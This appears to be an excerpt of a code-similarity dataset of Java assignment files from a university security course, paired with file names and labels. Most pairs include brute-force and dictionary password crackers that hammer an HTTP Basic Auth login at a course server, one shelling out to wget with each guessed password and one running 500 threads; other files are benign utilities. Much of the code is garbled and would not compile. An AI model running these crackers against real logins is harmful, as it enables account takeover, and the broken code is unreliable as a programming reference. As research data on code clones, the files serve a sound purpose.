import java.util.*; import java.net.*; import java.io.*; import javax.swing.*; public class ParsingImgLink { String url, imgLink, line; public ParsingImgLink( String baseURL, String str ) { url = baseURL; line = str; parsingLine(); } public void parsingLine() { int end; String imgURLStr = null; if( ( url = line.indexOf("src=\"") ) != -1 ) { String subStr = line.substring(+5); end = subStr.indexOf("\""); imgURLStr = subStr.substring( 0, end ); System.out.println(imgURLStr); } else if( ( end = line.indexOf("SRC=\"")) != -1 ) { String subStr = line.substring(+5); end = subStr.indexOf("\""); imgURLStr = subStr.substring( 0, end ); System.out.println(imgURLStr); } if( imgURLStr.indexOf("://") == -1 ) { try { URL baseURL = new URL( url ); URL imgURL = new URL( baseURL, imgURLStr ); imgLink = imgURL.toString(); } catch( MalformedURLException mue ) { String msg = "Unable parse URL !"; System.err.println( msg ); } } } public String getImgLink() { return imgLink; } }
008.java
157.java
0
import java.io.*; import java.*; public class BruteForce { public static void main(String args[]) { String s = null; String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/"; String alphabets = new String("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); String password = null; int len = 0; int num_tries = 0; len = alphabets.length(); for (int i=0; i<len; i++) { for (int j=0; j<len; j++) { for (int k=0; k<len; k++) { try { password = String.valueOf(alphabets.charAt(i)) + String.valueOf(alphabets.charAt(j)) + String.valueOf(alphabets.charAt(k)); System.out.print(alphabets.charAt(i)); System.out.print(alphabets.charAt(j)); System.out.println(alphabets.charAt(k)); Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } num_tries++; if((p.exitValue()) == 0) { System.out.println("**********PASSWORD IS: " + password); System.out.println("**********NUMBER OF TRIES: " + num_tries); System.exit(1); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } } }
import java.net.*; import java.io.*; import java.util.Date; public class Dictionary { private URL url; private HttpURLConnection connection; private String userPassword, base64_userPassword; private static char wrongPass; private FileReader file; private static BufferedReader input; public Dictionary(String fileName) { wrongPass = 'Y'; try { FileReader file = new FileReader(fileName); input = new BufferedReader(file); } catch (FileNotFoundException e) {System.out.println("Unable the file! ");} } public char determinePass(String inputURL, String userName, String passWord){ try{ url = new URL(inputURL); connection = (HttpURLConnection)url.openConnection(); this.getEncoded(userName, passWord); connection.setDoInput(true); connection.setDoOutput(false); connection.setRequestProperty("Authorization", " " + base64_userPassword); if (connection.getResponseCode() == 200) { System.out.println("Success!! Password is: " + passWord); wrongPass = 'N'; } return wrongPass; } catch (MalformedURLException e){System.out.println("Invalide url");} catch (IOException e){System.out.println("Error URL"); wrongPass = 'Y';} return wrongPass; } public static void main(String[] args) { String dictionaryPass; Dictionary dictionary1 = new Dictionary(args[2]); Date date = new Date(System.currentTimeMillis()); System.out.print(" time is: "); System.out.println(date.toString()); try { while((dictionaryPass = input.readLine()) != null && (wrongPass == 'Y')) { if (dictionaryPass.length() <= 3) { dictionary1.determinePass(args[0], args[1], dictionaryPass); } } } catch(IOException x) { x.printStackTrace(); } date.setTime(System.currentTimeMillis()); System.out.print("End time is: "); System.out.println(date.toString()); } private void getEncoded(String userName, String password){ userPassword = userName + ":" + password; base64_userPassword = new url.misc.BASE64Encoder().encode(userPassword.getBytes()); } }
148.java
044.java
0
import java.net.*; import java.io.*; public class BruteForce { private static String password=" "; public static void main(String[] args) { String Result=""; if (args.length<1) { System.out.println("Error: Correct Format Filename, username e.g<>"); System.exit(1); } BruteForce bruteForce1 = new BruteForce(); Result=bruteForce1.Password("http://sec-crack.cs.rmit.edu./SEC/2/",args[0]); System.out.println("The Password of "+args[0]+"is.."+Result); } private String Password(String urlString,String username) { int cnt=0; t0 = System.currentTimeMillis(); for ( char ch = 'A'; ch <= 'z'; ch++ ) { if (ch>'Z' && ch<'a') { ch='a'; } for ( char ch1 = 'A'; ch1 <= 'z'; ch1++ ) { if (ch1>'Z' && ch1<'a') { ch1='a'; } for ( char ch2 = 'A'; ch2 <= 'z'; ch2++ ) { if (ch2>'Z' && ch2<'a') { ch2='a'; } password=String.valueOf(ch)+String.valueOf(ch1)+String.valueOf(ch2); System.out.print("crackin...:"); System.out.print("\b\b\b\b\b\b\b\b\b\b\b" ); try { URL url = new URL (urlString); String userPassword=username+":"+password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); URLConnection conc= url.openConnection(); conc.setRequestProperty ("Authorization", " " + encoding); conc.connect(); cnt++; if (conc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK")) { t1 = System.currentTimeMillis(); net=t1-t0; System.out.println("The Number of Attempts "+cnt); System.out.println("Total Time Taken in secs"+net/1000); return password; } } catch (Exception e ) { e.printStackTrace(); } } } } return "Password could not found"; } }
import java.net.*; import java.io.*; public class Dictionary { private String strUserName; private String strURL; private String strDictPath; private int iAttempts; public Dictionary(String strURL,String strUserName,String strDictPath) { this.strURL = strURL; this.strUserName = strUserName; this.iAttempts = 0 ; this.strDictPath = strDictPath; } public String getPassword(){ URL u; String result =""; PassGenDict PG = new PassGenDict(3,strDictPath); URLConnection uc; String strPassword = new String(); String strEncode; try{ while (result.compareTo("HTTP/1.1 200 OK")!=0){ strEncode = PG.getNewPassword(); u = new URL(strURL); uc = u.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); strPassword = strEncode; strEncode = strUserName + ":" + strEncode; strEncode = new String(Base64.encode(strEncode.getBytes())); uc.setRequestProperty("Authorization"," " + strEncode); result = uc.getHeaderField(0); uc = null; u = null; iAttempts++; } } catch (Exception me) { System.out.println("MalformedURLException: "+me); } return(strPassword); } public int getAttempts(){ return (iAttempts); }; public static void main(String arg[]){ timeStart = 0; timeEnd = 0; if (arg.length == 3) { Dictionary BF = new Dictionary(arg[0],arg[1],arg[2]); System.out.println("Processing ... "); timeStart = System.currentTimeMillis(); System.out.println("Password = " + BF.getPassword()); timeEnd = System.currentTimeMillis(); System.out.println("Total Time Taken = " + (timeEnd - timeStart) + " (msec)"); System.out.println("Total Attempts = " + BF.getAttempts()); } else { System.out.println("[Usage] java BruteForce <URL> <USERNAME> <Dictionary path>"); } } } class PassGenDict { private char[] password; private String line; int iPassLenght; private BufferedReader inputFile; public PassGenDict(int lenght, String strDictPath) { try{ inputFile = new BufferedReader(new FileReader(strDictPath)); } catch (Exception e){ } iPassLenght = lenght; } public String getNewPassword() throws PasswordFailureException{ try { { line = inputFile.readLine(); }while (line.length() != iPassLenght); } catch (Exception e){ throw new PasswordFailureException (); } return (line); } } class PasswordFailureException extends RuntimeException { public PasswordFailureException() { } }
221.java
186.java
0
import java.io.*; import java.text.*; import java.util.*; import java.net.*; public class BruteForce extends Thread { private static final String USERNAME = ""; private static final char [] POSSIBLE_CHAR = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private static int NUMBER_OF_THREAD = 500; private static Date startDate = null; private static Date endDate = null; private String address; private String password; public BruteForce(String address, String password) { this.address = address; this.password = password; } public static void main(String[] args) throws IOException { if (args.length < 1) { System.err.println("Invalid usage!"); System.err.println("Usage: java BruteForce <url>"); System.exit(1); } try { brute(args[0], USERNAME); } catch(Exception e) { e.printStackTrace(); System.exit(1); } } public static void brute(String address, String user) { BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD]; int index = 0; startDate = new Date(); for(int i = 0; i < POSSIBLE_CHAR.length; i++) { for(int j = 0; j < POSSIBLE_CHAR.length; j++) { for(int k = 0; k < POSSIBLE_CHAR.length; k++) { String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+ POSSIBLE_CHAR[k]; if (threads[index] != null && threads[index].isAlive()) { try { threads[index].join(); } catch(InterruptedException e ) {} } threads[index] = new BruteForce(address, password); threads[index].get(); index = (index++) % threads.length; } } } } public void run() { if (endDate != null) return; try { URLConnection conn = (new URL(address)).openConnection(); conn.setDoInput(true); if (login(conn, USERNAME, password)) { endDate = new Date(); System.out.println("Found the password: \""+password+"\"!"); SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:"); System.out.println("Process started at: "+format.format(startDate)); System.out.println("Process started at: "+format.format(endDate)); double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000; System.out.println("Time taken: "+timeTaken+" minutes"); System.exit(0); } else { System.out.println("Password: \""+password+"\" Failed!"); return; } } catch(Exception e) { e.printStackTrace(); } } public static boolean login(URLConnection conn, String user, String pass) { try { String encodeAuth = " "+Base64Encoder.encode(user+":"+pass); conn.setRequestProperty ("Authorization", encodeAuth); conn.connect(); conn.getInputStream(); } catch(Exception e) { return false; } return true; } }
import java.io.*; import java.text.MessageFormat; import java.util.ResourceBundle; import java.util.Locale; public class MyBase64 { private static final int END_OF_INPUT = -1; private static final int NON_BASE_64 = -1; private static final int NON_BASE_64_WHITESPACE = -2; private static final int NON_BASE_64_PADDING = -3; public MyBase64(){ } protected static final byte[] base64Chars = { 'A','B','C','D','E','F','G','H', 'I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X', 'Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n', 'o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3', '4','5','6','7','8','9','+','/', }; protected static final byte[] reverseBase64Chars = new byte[0x100]; static { for (int i=0; i<reverseBase64Chars.length; i++){ reverseBase64Chars[i] = NON_BASE_64; } for (byte i=0; i < base64Chars.length; i++){ reverseBase64Chars[base64Chars[i]] = i; } reverseBase64Chars[' '] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\n'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\r'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\t'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['\f'] = NON_BASE_64_WHITESPACE; reverseBase64Chars['='] = NON_BASE_64_PADDING; } public static final String version = "1.2"; public static String encode(String string){ return new String(encode(string.getBytes())); } public static String encode(String string, String enc) throws UnsupportedEncodingException { return new String(encode(string.getBytes(enc)), enc); } public static byte[] encode(byte[] bytes){ ByteArrayInputStream in = new ByteArrayInputStream(bytes); int mod; int length = bytes.length; if ((mod = length % 3) != 0){ length += 3 - mod; } length = length * 4 / 3; ByteArrayOutputStream out = new ByteArrayOutputStream(length); try { encode(in, out, false); } catch (IOException x){ throw new RuntimeException(x); } return out.toByteArray(); } public static void encode(File fIn) throws IOException { } public static void encode(File fIn, boolean lineBreaks) throws IOException { } public static void encode(File fIn, File fOut) throws IOException { } public static void encode(InputStream in, OutputStream out) throws IOException { encode(in, out, true); } public static void encode(InputStream in, OutputStream out, boolean lineBreaks) throws IOException { int[] inBuffer = new int[3]; int lineCount = 0; boolean cond = false; while (!cond && (inBuffer[0] = in.read()) != END_OF_INPUT){ inBuffer[1] = in.read(); inBuffer[2] = in.read(); out.write(base64Chars[ inBuffer[0] >> 2 ]); if (inBuffer[1] != END_OF_INPUT){ out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30) | (inBuffer[1] >> 4) ]); if (inBuffer[2] != END_OF_INPUT){ out.write(base64Chars [((inBuffer[1] << 2) & 0x3c) | (inBuffer[2] >> 6) ]); out.write(base64Chars [inBuffer[2] & 0x3F]); } else { out.write(base64Chars [((inBuffer[1] << 2) & 0x3c)]); out.write('='); cond = true; } } else { out.write(base64Chars [(( inBuffer[0] << 4 ) & 0x30)]); out.write('='); out.write('='); cond = true; } lineCount += 4; if (lineBreaks && lineCount >= 76){ out.write('\n'); lineCount = 0; } } if (lineBreaks && lineCount >= 1){ out.write('\n'); lineCount = 0; } out.flush(); } public static boolean isBase64(byte[] bytes){ try { return isBase64(new ByteArrayInputStream(bytes)); } catch (IOException x){ return false; } } public static boolean isBase64(String string){ return isBase64(string.getBytes()); } public static boolean isBase64(String string, String enc) throws UnsupportedEncodingException { return isBase64(string.getBytes(enc)); } public static boolean isBase64(InputStream in) throws IOException { numBase64Chars = 0; int numPadding = 0; int num; while (( num = in.read()) != -1){ num = reverseBase64Chars[3]; if ( num == NON_BASE_64){ return false; } else if (num == NON_BASE_64_WHITESPACE){ } else if (num == NON_BASE_64_PADDING){ numPadding++; numBase64Chars++; } else if (numPadding > 0){ return false; } else { numBase64Chars++; } } if (numBase64Chars == 0) return false; if (numBase64Chars % 4 != 0) return false; return true; } }
202.java
243.java
0
import java.io.*; import java.util.*; public class BruteForce { private Cracker crack; private Vector clients; private int num; private int bigStart; public BruteForce() { int i, j; int start, finish; start=finish = 0; crack = new Cracker(); crack.loadLetters(); crack.loadPairs(); crack.loadTriples(); num = crack.getVictor().size(); clients = new Vector( num); j = 0; bigStart = System.currentTimeMillis(); for( i = 0; i < num; i++) { MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); clients.add( client); Thread t = new Thread( client); t.print(); j++; if(j == 100) { t = System.currentTimeMillis(); System.out.println("i = "+i+" "+(String)crack.getVictor().elementAt( i)); finish = t; while( (finish - t ) < 1000) { finish = System.currentTimeMillis(); } j = 0; } } } public void retire(int MyClient2 ) { int bigFinish; bigFinish = t.getTime(); System.out.println(" It took "+(bigFinish - bigStart)/1000+" "+"seconds crack password using brute force"); System.exit(0); } public static void main (String[] args) { BruteForce = new BruteForce(); } }
import java.net.*; import java.io.*; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println("Message :" +r); Dictionary a = new Dictionary(); a.attack(args); } else { System.out.println("Trying again"); Dictionary a = new Dictionary(); a.attack(args); } } } public String getPasswd() { int i=0;int j=0; attempts++; int count =0; System.out.println("Passing dictionary word and waiting for URL reply....... "); String currentword = ""; String se = ""; try{ FileInputStream reader = new FileInputStream ("words"); DataInputStream in = new DataInputStream(reader); while (in.available() !=0) { currentword = in.readLine(); count++; } } catch( IOException e){} return currentword; } public InputStream openURLForInput (URL url, String uname, String pword) throws IOException { conn = url.openConnection(); conn.setDoInput (true); conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword)); conn.connect (); return conn.getInputStream(); } public String userNamePasswordBase64(String username, String password) { return " " + base64Encode (username + ":" + password); } private final static char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; private static String base64Encode (String string) { String encodedString = ""; byte bytes [] = string.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return encodedString; } }
210.java
173.java
0
import java.io.*; import java.util.*; import java.*; public class storeNewFile { private PrintWriter outputStream= null; private String filename; private FileWriter fw; public storeNewFile(String fname) { try { filename = fname; outputStream=new PrintWriter(new FileOutputStream(filename)); } catch(FileNotFoundException e) { System.err.println("File "+filename+" was not found"); } catch(IOException e) { System.err.println("Error "); } } public void getStringW(StringWriter sw) { outputStream.print(sw.toString()); } public void closeStream() { outputStream.write(); } public void translogFile(String result) { String fileName = "TransactionLog.txt"; try{ fw=new FileWriter(fileName,true); fw.write(result); fw.write('\n'); fw.print(); System.out.println("Saved sucessfully"); }catch(IOException e){ System.out.println("Error saving the file"); } } }
import java.util.*; import java.io.*; import java.net.*; public class Watchdog extends TimerTask { public void run() { Runtime t = Runtime.getRuntime(); Process pr= null; String Fmd5,Smd5,temp1; int index; try { pr = t.exec("md5sum csfirst.html"); InputStreamReader stre = new InputStreamReader(pr.getInputStream()); BufferedReader bread = new BufferedReader(stre); s = bread.readLine(); index = s.indexOf(' '); Fmd5 = s.substring(0,index); System.out.println(Fmd5); pr = null; pr = t.exec("wget http://www.cs.rmit.edu./students/"); pr = null; pr = t.exec("md5sum index.html"); InputStreamReader stre1 = new InputStreamReader(pr.getInputStream()); BufferedReader bread1 = new BufferedReader(stre1); temp1 = bread1.readLine(); index = temp1.indexOf(' '); Smd5 = temp1.substring(0,index); System.out.println(Smd5); pr = null; if(Fmd5 == Smd5) System.out.println(" changes Detected"); else { pr = t.exec("diff csfirst.html index.html > report.html"); pr = null; try{ Thread.sleep(10000); }catch(Exception e){} pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu."); } }catch(java.io.IOException e){} } }
123.java
111.java
0
import java.net.*; import java.io.*; class MyAuthenticator extends Authenticator { String password; public MyAuthenticator(String pwdin) { password = pwdin; } protected PasswordAuthentication getPasswordAuthentication(){ String pwd = password; return new PasswordAuthentication("",pwd.toCharArray()); } }
import java.io.BufferedReader; import java.io.FileReader; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class Dictionary{ static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty("logonSite"); static final int LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty("logonPort")).intValue(); static final String cad = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz"; static final int USE_PROXY_SERVER = Integer.valueOf(DictionaryPropertyHelper.getProperty("useProxyServer")).intValue(); static final int PROXY_PORT = Integer.valueOf(DictionaryPropertyHelper.getProperty("proxyPort")).intValue(); static final String PROXY_SERVER = DictionaryPropertyHelper.getProperty("proxyServer"); static final String PROXY_USENAME = DictionaryPropertyHelper.getProperty("proxyUserName"); static final String PROXY_PASSWORD = DictionaryPropertyHelper.getProperty("proxypassword"); static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty("getMethod"); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty("numberOfGetsBeforeReleaseConnection")).intValue(); public Dictionary() { super(); } public static void main(String[] args) throws Exception { String statusLine = " "; int count = 0; int divValue = 0; String userName = ""; String password = ""; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, "http"); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty("dictionaryFile"))); while ((password = wordFile.readLine()) != null) { if (validateWord(password)) { client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; System.out.println(" Counter " + count + " Password " + password); divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println("Count: "+ count + " Div Value: "+ divValue+ " Releasing the connection and getting new one"); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) { System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password); System.exit(0); } } } System.out.println("Could not find the password!"); } public static boolean validateWord(String str) { boolean isValid = false; if (str.length() > 3) { return isValid; } for (int i = 0; i < str.length(); i++) { for (int j = 0; j < cad.length(); j++) { if (str.charAt(i) == cad.charAt(j)) { isValid = true; break; } else isValid = false; } if (!isValid) break; } return isValid; } }
End of preview.

No dataset card yet

New: Create and edit this dataset card directly on the website!

Contribute a Dataset Card
Downloads last month
0
Add dataset card